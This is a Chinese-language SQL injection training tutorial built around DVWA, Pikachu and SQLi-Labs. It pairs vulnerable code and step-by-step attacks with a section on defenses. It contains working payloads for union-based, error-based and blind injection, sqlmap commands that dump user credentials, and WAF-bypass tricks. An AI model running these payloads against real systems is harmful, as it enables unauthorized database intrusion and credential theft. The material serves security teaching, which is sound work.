1. 项目概述：为什么SQL注入依然是Web安全的“头号公敌”？

干了这么多年网络安全，SQL注入这个老话题，我每年都得跟新人、跟客户、跟团队反复讲。很多人觉得，这都202X年了，还有必要学SQL注入吗？框架不都防住了吗？OWASP Top 10里它不都从榜首掉到第三了吗？如果你也这么想，那可就大错特错了。根据最新的OWASP Top 10:2021报告，注入式攻击（其中SQL注入是绝对主力）在受测应用中的检出率高达94%，平均发生率也有3.37%。这意味着，几乎每一个你接触到的Web应用，都可能存在注入漏洞的“影子”。它从第一名下滑，不是因为变弱了，而是因为攻击面更广、攻击手法更隐蔽、与其他漏洞（如失效的访问控制）结合得更紧密了。

这个“4.sql注入攻击（OWASP实战训练）”项目，就是带你从“知道”到“做到”的关键一步。它不是让你去背那些‘ or ‘1’=’1的经典Payload，而是让你真正理解注入发生的根本原理，亲手在受控的靶场环境（如DVWA、Pikachu）中复现攻击链，并最终掌握从开发者和防御者视角该如何彻底堵上这个漏洞。你会发现，绕过WAF、利用二阶注入、通过报错信息盲注数据库，这些在CTF（如BUUCTF）和真实渗透测试中常见的场景，其内核依然是那个经典的“数据与指令混淆”问题。无论你是刚入行的安全工程师、想提升代码安全性的开发者，还是对Web安全感兴趣的学习者，这个实战训练都能让你获得立竿见影的硬核技能。

2. 注入原理深度拆解：数据与指令的“边界混淆”

要打好实战，必须先吃透原理。SQL注入的本质，用一句话概括就是：攻击者通过构造特殊的输入，欺骗应用程序将用户输入的数据，错误地解释为SQL代码的一部分并执行。这背后是计算机科学中一个根本性的问题：数据与代码（指令）的边界模糊。

2.1 从一段“脆弱代码”看漏洞根源

我们来看一个最经典的、也是新手最容易理解的漏洞场景。假设一个用户登录功能，后端Java代码是这样写的：

String username = request.getParameter("username"); String password = request.getParameter("password"); String query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'"; Statement stmt = connection.createStatement(); ResultSet rs = stmt.executeQuery(query);

这段代码的意图很清晰：拼接用户输入的账号密码，形成查询数据库的SQL语句。如果用户老实地输入admin和123456，那么生成的SQL是：

SELECT * FROM users WHERE username = 'admin' AND password = '123456'

这没问题。但如果攻击者在用户名输入框里输入的不是admin，而是admin'--（注意最后的两个短横线是SQL注释符），那么拼接后的SQL语句就变成了：

SELECT * FROM users WHERE username = 'admin'--' AND password = 'xxx'

--之后的所有内容都被数据库注释掉了！这意味着，密码验证条件完全失效。攻击者只需知道一个存在的用户名（如admin），就能以该用户身份登录，根本不需要知道密码。

注意：这里演示的是最基础的注入。在实际中，密码字段也可能被注入，或者使用‘ or ‘1’=’1这种永真条件来绕过。但核心逻辑不变：用户输入突破了“数据”的边界，篡改了“指令”的结构。

2.2 注入点的类型与识别

理解了原理，我们就要学会在实战中寻找注入点。注入点本质是应用程序将用户输入“拼接”到SQL语句中的位置。根据拼接处的上下文，主要分为以下几类：

1. 数字型注入：参数直接被用于数值比较，无需单引号包裹。

   • 原语句：SELECT * FROM news WHERE id = $id
   • 攻击Payload：1 OR 1=1。拼接后：SELECT * FROM news WHERE id = 1 OR 1=1，会返回所有新闻。
   • 识别技巧：在参数后尝试加减乘除运算，如id=2-1，如果返回结果与id=1相同，则很可能是数字型注入。

2. 字符型注入：参数被单引号（有时是双引号）包裹。这是最常见的情况。

   • 原语句：SELECT * FROM users WHERE name = '$name'
   • 攻击Payload：需要先闭合前面的引号，如admin'--、admin' OR '1'='1。
   • 识别技巧：尝试输入一个单引号‘，观察页面是否返回数据库错误信息（如MySQL、PostgreSQL的错误）。这是最快速的初步判断方法。

3. 搜索型注入：参数用于LIKE子句。

   • 原语句：SELECT * FROM products WHERE name LIKE '%$keyword%'
   • 攻击Payload：需要处理前后的%通配符，如xxx%' AND 1=1--。闭合逻辑相对复杂。
   • 识别技巧：输入%、_等SQL通配符，看搜索结果是否异常。

4. 其他注入：如HTTP头注入（User-Agent, Referer）、Cookie注入、二阶注入（输入先被存储，后续查询时才触发）等。这些更隐蔽，需要更深入的测试。

在OWASP实战训练中，我们会重点针对前两种进行练习。一个非常重要的实操心得是：不要盲目扔Payload。先用‘、and 1=1、and 1=2这类简单语句测试页面返回的差异（布尔状态），判断是否存在注入以及注入类型，再决定下一步的攻击策略。盲目测试不仅效率低，还容易触发安全设备的告警。

3. 手工注入实战全流程：从探测到拖库

理论讲再多，不如亲手做一遍。下面我将以一个虚拟的“用户查询”功能为例，带你完整走一遍手工SQL注入的流程。假设目标URL是：http://target.com/user.php?id=1。我们假设它是字符型注入。

3.1 第一步：信息收集与注入点确认

1. 正常访问：打开http://target.com/user.php?id=1，页面显示用户“张三”的信息。
2. 加单引号测试：访问http://target.com/user.php?id=1‘。如果页面返回数据库错误（如“You have an error in your SQL syntax...”），则强烈表明存在SQL注入漏洞，且很可能是字符型。
3. 布尔逻辑测试：
   • 访问http://target.com/user.php?id=1‘ and ‘1’=‘1。如果页面正常显示“张三”的信息，说明and条件为真，语句执行成功。
   • 访问http://target.com/user.php?id=1‘ and ‘1’=‘2。这是一个永假条件，如果页面返回空、错误或与上一步明显不同（例如“用户不存在”），则进一步确认注入存在，并且我们可以通过页面回显的“真/假”状态来推断信息。这就是布尔盲注的基础。
4. 注释符测试：访问http://target.com/user.php?id=1‘--（或1‘#，MySQL中#也是注释符）。如果页面正常显示，说明我们成功注释掉了原SQL语句的后续部分，注入点可利用。

注意事项：不同数据库的注释符和语法有差异。MySQL常用--（注意后面有个空格）、#；Oracle、SQL Server用--；PostgreSQL用--。在实战中，需要根据错误信息或尝试猜测数据库类型。

3.2 第二步：判断字段数与确定回显点

为了联合查询（UNION SELECT），我们必须知道原查询语句SELECT了多少个字段。

1. 使用ORDER BY猜测字段数：

   • 访问http://target.com/user.php?id=1‘ order by 1--，页面正常。
   • 访问http://target.com/user.php?id=1‘ order by 2--，页面正常。
   • ... 不断增加数字 ...
   • 访问http://target.com/user.php?id=1‘ order by 5--，页面报错“Unknown column '5' in 'order clause'”。
   • 结论：原查询语句有4个字段。因为order by 4正常，order by 5错误。

2. 使用UNION SELECT确定回显位置：

   • 构造Payload：http://target.com/user.php?id=-1‘ union select 1,2,3,4--
   • 关键技巧：将原查询的id设为一个不存在的值（如-1），这样原查询结果为空，页面显示的就全是我们union select的内容。
   • 观察页面，原本显示“用户名”、“邮箱”的地方，可能会被数字2、3替代。这说明页面的第2、3个位置会回显我们查询的数据。这两个位置就是我们后续注入的“输出通道”。

3.3 第三步：获取数据库信息

知道了回显点，我们就可以开始提取信息了。假设数字2和3的位置在页面上可见。

1. 查询当前数据库名和用户：

   • Payload:http://target.com/user.php?id=-1‘ union select 1, database(), user(), version()--
   • 这样，在回显点2会显示当前数据库名（如dvwa），回显点3显示当前数据库用户（如root@localhost），4显示数据库版本（如5.7.36）。

2. 查询所有数据库名：

   • MySQL：http://target.com/user.php?id=-1‘ union select 1,group_concat(schema_name),3,4 from information_schema.schemata--
   • group_concat()函数将多行结果合并成一行，方便查看。你会得到一个类似information_schema,dvwa,mysql,performance_schema的列表。

3.4 第四步：获取表名、列名与数据拖库

1. 查询指定数据库（如dvwa）中的所有表名：

   • Payload:http://target.com/user.php?id=-1‘ union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=‘dvwa’--
   • 可能会得到guestbook,users等表名。我们显然对users表更感兴趣。

2. 查询指定表（如users）中的所有列名：

   • Payload:http://target.com/user.php?id=-1‘ union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=‘dvwa’ and table_name=‘users’--
   • 可能会得到user_id,first_name,last_name,user,password,avatar等列名。user和password是我们的目标。

3. 最终拖库：提取用户名和密码：

   • Payload:http://target.com/user.php?id=-1‘ union select 1,concat(user, ‘:’, password),3,4 from dvwa.users--
   • concat()函数用于拼接字段。这样，回显点2就会列出所有用户名:密码哈希值的组合，例如admin:5f4dcc3b5aa765d61d8327deb882cf99。

至此，一次完整的手工联合查询注入就完成了。你拿到了核心的用户凭证数据。这里有一个非常重要的避坑点：information_schema数据库是MySQL、MariaDB等数据库的元数据信息库，是注入攻击的“地图”。但一些较新的数据库版本或经过安全加固的环境，可能会限制对information_schema中某些表的访问。此时需要尝试其他方法，如基于错误的注入、时间盲注等。

4. 高级注入技巧与自动化工具初探

手工注入能让你深刻理解原理，但效率低。在实际渗透测试或CTF比赛中，我们需要借助工具和更高级的技巧。

4.1 报错注入：当页面不显示数据时

如果网站不显示UNION SELECT的数据（例如，只显示第一个查询结果），但会打印SQL错误信息，我们就可以利用“报错注入”。

• 原理：故意构造一个会让数据库执行出错的Payload，让错误信息中包含我们想查询的数据。
• 经典函数（MySQL）：
  • updatexml():and updatexml(1,concat(0x7e,(select database()),0x7e),1)
  • extractvalue():and extractvalue(1,concat(0x7e,(select user())))
  • floor()+rand()+group by导致的重复键错误。
• 操作：将上述Payload替换到注入点，页面会返回类似XPATH syntax error: ‘~database_name~’的错误，其中就包含了数据库名。

4.2 布尔盲注与时间盲注：当页面既无回显也无报错时

这是最考验耐心的情况。页面只会根据查询结果返回“正常”或“异常”（布尔盲注），甚至只有“正常”一种状态（时间盲注）。

• 布尔盲注：通过and条件，像“猜”一样逐个字符地获取数据。
  • 例如，猜数据库名第一个字符：and ascii(substr(database(),1,1))>100。如果页面正常，说明ASCII码大于100；再调整数值二分查找，最终确定字符。这个过程极其繁琐，必须依赖自动化脚本。
• 时间盲注：通过sleep()函数，让数据库根据查询条件真假执行延时。
  • 例如：and if(ascii(substr(database(),1,1))>100, sleep(5), 0)。如果页面响应延迟了5秒，说明条件为真。同样需要自动化。

4.3 自动化神器：SQLmap入门

对于上述盲注或复杂注入，手动操作是不可行的。这时就需要用到SQLmap，一个开源的自动化SQL注入与数据库取证工具。

基础使用步骤：

1. 检测注入点：

   sqlmap -u "http://target.com/user.php?id=1" --batch

   --batch参数表示使用默认选项，无需交互确认。SQLmap会自动探测参数id是否存在注入以及数据库类型。

2. 获取当前数据库名：

   sqlmap -u "http://target.com/user.php?id=1" --current-db

3. 列出所有数据库：

   sqlmap -u "http://target.com/user.php?id=1" --dbs

4. 列出指定数据库的所有表：

   sqlmap -u "http://target.com/user.php?id=1" -D dvwa --tables

5. 列出指定表的所有列：

   sqlmap -u "http://target.com/user.php?id=1" -D dvwa -T users --columns

6. 拖取数据：

   sqlmap -u "http://target.com/user.php?id=1" -D dvwa -T users -C user,password --dump

   --dump会直接将数据下载到本地。

使用心得与注意事项：

• 务必在授权环境下测试：如DVWA、Pikachu、SQLi-Labs等靶场。未经授权对真实网站使用SQLmap是违法行为。
• 善用--level和--risk参数：提高检测等级和风险等级，可以测试更多Payload和技巧，但也可能更慢、更易触发告警。
• 使用--proxy代理流量：方便通过Burp Suite等工具观察SQLmap发送的Payload，是学习Payload构造的绝佳方式。
• 注意WAF/IPS绕过：SQLmap提供--tamper参数，可以调用脚本对Payload进行混淆、编码，以绕过简单的WAF规则。例如--tamper=space2comment。

5. 防御之道：从根源上杜绝SQL注入

攻击是为了更好的防御。理解了攻击手法，我们才能写出更安全的代码。OWASP给出的首要防御建议是：使用安全的API，将数据与指令分离。

5.1 首选举措：参数化查询（预编译语句）

这是唯一被证明能从根本上防止SQL注入的方法。其原理是：SQL语句的模板（结构）在发送到数据库前就已确定，用户输入的数据在后续作为“参数”传入，数据库会严格区分这两者，确保参数值不会被解释为SQL代码。

• Java (JDBC) 示例：

  String sql = "SELECT * FROM users WHERE username = ? AND password = ?"; PreparedStatement pstmt = connection.prepareStatement(sql); pstmt.setString(1, username); // 参数1绑定用户名 pstmt.setString(2, password); // 参数2绑定密码 ResultSet rs = pstmt.executeQuery();

  即使用户输入admin'--，数据库也会将其视为一个完整的字符串值去匹配username字段，而不会破坏SQL结构。

• PHP (PDO) 示例：

  $stmt = $pdo->prepare('SELECT * FROM users WHERE username = :name AND password = :pass'); $stmt->execute(['name' => $username, 'pass' => $password]); $user = $stmt->fetch();

关键点：参数化查询对所有输入都有效，无论是数字、字符串还是日期。不要对数字型参数就掉以轻心，认为拼接没事，统一使用参数化是最佳实践。

5.2 补充措施：输入验证与输出编码

参数化查询是核心，但良好的安全实践需要多层防御。

1. 输入验证（白名单）：

   • 做什么：在数据进入业务逻辑前，根据预期的类型、格式、长度、范围进行严格检查。
   • 例子：对于“用户ID”参数，验证其是否为整数且大于0。对于“用户名”，验证其是否符合预定义的正则表达式（如只允许字母数字，长度3-20）。
   • 注意：输入验证不能替代参数化查询！它主要用于过滤非法业务数据，减少攻击面，但对于允许包含单引号的“姓名”字段，输入验证无法阻止注入。

2. 最小权限原则：

   • 应用程序连接数据库的账户，不应使用root或sa等高权限账户。应为其创建专属账户，并只授予其执行必要操作（如SELECT,INSERT）的最小权限。即使发生注入，攻击者也无法执行DROP TABLE,UPDATE系统表等破坏性操作。

3. 避免动态拼接SQL：

   • 严禁在存储过程、函数内部使用EXECUTE IMMEDIATE(Oracle) 或sp_executesql(SQL Server) 来动态拼接和执行SQL字符串。这会在数据库层重新引入注入风险。

4. 安全的ORM框架使用：

   • 使用MyBatis时，务必使用#{}而非${}。#{}是参数占位符，会被预编译；${}是字符串替换，直接拼接，存在注入风险。
   • 使用Hibernate时，应使用参数绑定的createQuery，而非字符串拼接。

5.3 Web应用防火墙（WAF）的定位

WAF是一种基于规则或行为的防护设备，可以拦截常见的注入攻击Payload。但它是一种缓解措施，而非根本解决方案。攻击者可以通过编码、混淆、使用冷门语法来绕过WAF规则。安全的核心永远在应用代码本身，不能依赖WAF作为唯一防线。

6. OWASP实战训练环境搭建与靶场通关要点

理论学习最终要落到实操。强烈建议你在本地搭建以下环境进行练习：

1. DVWA (Damn Vulnerable Web Application)：

   • 特点：集成度高，难度可调（Low/Medium/High/Impossible），非常适合新手。
   • SQL注入关卡：从Low级别的无任何防护，到Medium级别的mysql_real_escape_string转义（可绕过），再到High级别的Cookie注入和Impossible级别的参数化查询，可以让你完整体验攻击与防御的演进。
   • 通关技巧（Low级别）：直接使用手工或SQLmap即可。Medium级别：注意它使用了mysql_real_escape_string对单引号进行了转义，但数字型注入依然存在（因为数字参数没加引号），或者可以使用宽字节注入等技巧绕过。High级别：注入点移到了Cookie，需要用Burp Suite等工具截获修改Cookie值。

2. Pikachu漏洞练习平台：

   • 特点：国产，中文界面，漏洞场景更贴近国内开发习惯，分类清晰。
   • SQL注入相关：包含了数字型、字符型、搜索型、xx型、INSERT/UPDATE/DELETE注入、宽字节注入、盲注等几乎所有类型，是进阶学习的绝佳材料。
   • 通关要点：仔细阅读每个关卡前的提示，理解漏洞产生的代码上下文。尝试先用手工判断类型，再用SQLmap验证。

3. SQLi-Labs：

   • 特点：专注于SQL注入，关卡设计由浅入深，从错误回显到盲注，非常系统。
   • 建议：在掌握了DVWA和Pikachu的基础后，用SQLi-Labs进行专项强化训练，特别是盲注部分。

在靶场练习时，务必打开Burp Suite或浏览器开发者工具的网络面板，观察你提交的Payload是如何被发送到服务器的，服务器的响应又是怎样的。这比单纯点击“提交”按钮收获大得多。

7. 常见疑难问题与排查实录

在实际操作中，你肯定会遇到各种奇怪的问题。这里我总结几个高频问题：

问题1：明明存在注入，为什么UNION SELECT不显示数据？

• 可能原因1：原查询语句与UNION查询的字段数、字段类型不匹配。确保UNION SELECT后面的字段数与ORDER BY测出来的一致，并且对应位置的数据类型兼容（比如原位置是字符串，你就不能用数字占位）。
• 可能原因2：页面只显示了查询结果的第一行。你需要让原查询结果为空。确保id参数值是一个数据库中不存在的值（如-1）。
• 可能原因3：UNION被WAF或应用程序过滤了。尝试大小写混淆UnIoN，或使用||（Oracle）、+（SQL Server）等操作符代替UNION进行拼接查询（如果上下文允许）。

问题2：使用SQLmap跑不出注入点，但手工测试明明有反应。

• 排查思路：
  1. 检查请求：用-v 3参数查看SQLmap发送的具体Payload，用--proxy=http://127.0.0.1:8080代理到Burp Suite，看请求是否和手工测试时一致（Cookie、Token、Headers）。
  2. 处理Token/CSRF：很多靶场和现代应用有CSRF令牌。你需要先用浏览器正常访问一次，从页面或Cookie中获取token，然后用--data参数和--cookie参数一起提交给SQLmap。
  3. 调整检测级别：默认级别可能不够。尝试--level=3 --risk=2提高检测强度。
  4. 指定注入技术：如果确认是盲注，可以指定--technique=B（布尔盲注）或--technique=T（时间盲注），避免SQLmap浪费时间在联合查询上。

问题3：在MyBatis中使用了#{}，为什么还有注入风险？

• 核心原因：#{}只在WHERE条件等值查询中是安全的。如果你在动态表名、列名、ORDER BY字段等位置使用了${}进行拼接，风险依然存在。例如：

  <!-- 危险！ --> <select id="selectByOrder" resultType="User"> SELECT * FROM users ORDER BY ${orderField} </select>

  • 解决方案：避免在${}中直接使用用户输入。如果业务必须动态排序，应在后端代码中做白名单校验，只允许id,name等预定义的、安全的字段名。

问题4：时间盲注时，sleep()函数被禁用或无效怎么办？

• 替代方案：使用重型查询制造延时。例如，在MySQL中，可以尝试SELECT BENCHMARK(10000000, MD5('test'))，通过大量计算来消耗时间。不同数据库有不同的重型函数，需要根据数据库类型灵活选择。

最后，我想说的是，SQL注入是一门“古老”但永不过时的技艺。它像一面镜子，照出的是开发中对“信任边界”的忽视。通过OWASP的实战训练，你收获的绝不仅仅是几种攻击手法，更重要的是一种思维模式：永远不要信任用户输入，始终对数据与指令的边界保持警惕。在你自己编写代码时，这种思维会成为你最重要的安全习惯。